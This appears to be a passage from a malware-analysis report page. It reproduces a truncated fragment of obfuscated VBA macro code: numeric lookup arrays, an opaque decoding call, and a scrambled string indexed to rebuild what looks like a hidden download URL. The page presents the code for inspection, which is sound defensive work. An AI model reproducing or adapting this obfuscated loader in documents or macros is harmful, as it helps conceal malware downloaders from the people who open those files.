Rzs(40) = 127 Rzs(41) = 13 Rzs(42) = 97 Rzs(43) = 16 Rzs(44) = 74 Rzs(45) = 23 Rzs(46) = 211 Rzs(47) = 197 Rzs(48) = 86 Rzs(49) = 135 Rzs(50) = 215 Rzs(51) = 30 Rzs(52) = 142 Rzs(53) = 145 Rzs(54) = 155 Rzs(55) = 123 Rzs(56) = 0 Rzs(57) = 52 Rzs(58) = 181 Rzs(59) = 76 Rzs(60) = 101 Rzs(61) = 159 Rzs(62) = 68 Rzs(63) = 2 Rzs(64) = 141 Rzs(65) = 3 Rzs(66) = 112 Rzs(67) = 118 Rzs(68) = 151 Rzs(69) = 233 Rzs(70) = 207 Rzs(71) = 36 Rzs(72) = 65 Rzs(73) = 230 Rzs(74) = 185 Rzs(75) = 128 Rzs(76) = 57 Rzs(77) = 84 Rzs(78) = 191 Rzs(79) = 155 Rzs(80) = 170 Rzs(81) = 126 Rzs(82) = 109 Rzs(83) = 187 Rzs(84) = 121 Rzs(85) = 161 Rzs(86) = 36 Rzs(87) = 201 Rzs(88) = 36 Rzs(89) = 186 Rzs(90) = 39 Rzs(91) = 200 Rzs(92) = 158 Rzs(93) = 92 Rzs(94) = 31 Rzs(95) = 132 JbJVGAP = CKIZzJwD(VbMtXqw, Rzs, WMvhhBLQ) Dim goGuJlm As String Dim ZcfzhfpR As String Dim srFHWDm(97) As Long Dim zSOFg As Long zSOFg = 54 ZcfzhfpR = "ya.UTNmriPJizJYqturSmkpSSTiwz/OoqbdJmHKziinARcToihjbOAVMuapLPrgdRvWdosaQunSswxtVslfbVBhxvATLwUmlZMjbaEMJvhEei-QHWtlj:xvJRiavgGGqRzCqryDmIkitaKGuntnVSiAIVhwiVEyPUla/OV8DxMrCtNj/kJtIGMnmDtHsiKSaS/iIkyyElNacxCePnNqoNjroFIxRhlkvlaw/bVrwahSnCOibHTTdbnTfcUoQiCUExshaYjKsbJFJpqhFKyXOGphZXCVgsZuALeki" srFHWDm(0) = 50 srFHWDm(1) = 17 srFHWDm(2) = 17 srFHWDm(3) = 23 srFHWDm(4) = 70 srFHWDm(5) = 117 srFHWDm(6) = 30 srFHWDm(7) = 30 srFHWDm(8) = 70 srFHWDm(9) = 2 srFHWDm(10) = 46 srFHWDm(11) = 50 srFHWDm(12) = 9 srFHWDm(13) = 43 srFHWDm(14) = 9 srFHWDm(15) = 43 srFHWDm(16) = 17 srFHWDm(17) = 108 srFHWDm(18) = 8 srFHWDm(19) = 43 srFHWDm(20) = 2 srFHWDm(21) = 17 srFHWDm(22) = 9 srFHWDm(23) = 32 srFHWDm(24) = 43 srFHWDm(25) = 2 srFHWDm(26) = 82 srFHWDm(27) = 3 srFHWDm(28) = 46 srFHWDm(29) = 32 srFHWDm(30) = 7 srFHWDm(31) = 30 srFHWDm(32) = 28 srFHWDm(33) = 23 srFHWDm(34) = 110 srFHWDm(35) = 2 srFHWDm(36) = 35 srFHWDm(37) = 7 srFHWDm(38) = 9 srFHWDm(39) = 43 srFHWDm(40) = 30 srFHWDm(41) = 137 srFHWDm(42) = 60 srFHWDm(43) = 55 srFHWDm(44) = 135 srFHWDm(45) = 43 srFHWDm(46) = 82 srFHWDm(47) = 7 srFHWDm(48) = 137 srFHWDm(49) = 44 srFHWDm(50) = 5 srFHWDm(51) = 34 srFHWDm(52) = 167 srFHWDm(53) = 30 srFHWDm(54) = 274 srFHWDm(55) = 279 srFHWDm(56) = 156 srFHWDm(57) = 39 srFHWDm(58) = 174 srFHWDm(59) = 91 srFHWDm(60) = 264 srFHWDm(61) = 63 srFHWDm(62) = 267 srFHWDm(63) = 280 srFHWDm(64) = 239 srFHWDm(65) = 137 srFHWDm(66) = 270 srFHWDm(67) = 225 srFHWDm(68) = 170 srFHWDm(69) = 271 srFHWDm(70) = 167 srFHWDm(71) = 191 srFHWDm(72) = 205 srFHWDm(73) = 265 srFHWDm(74) = 117 srFHWDm(75) = 230 srFHWDm(76) = 178 srFHWDm(77) = 31 srFHWDm(78) = 72 srFHWDm(79) = 214 srFHWDm(80) = 208 srFHWDm(81) = 283 srFHWDm(82) = 51 srFHWDm(83) = 22 srFHWDm(84) = 284 srFHWDm(85) = 173 srFHWDm(86) = 264 srFHWDm(87) = 247 srFHWDm(88) = 28 srFHWDm(89) = 63 srFHWDm(90) = 126 srFHWDm(91) = 113 srFHWDm(92) = 276 srFHWDm(93) = 199 … |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.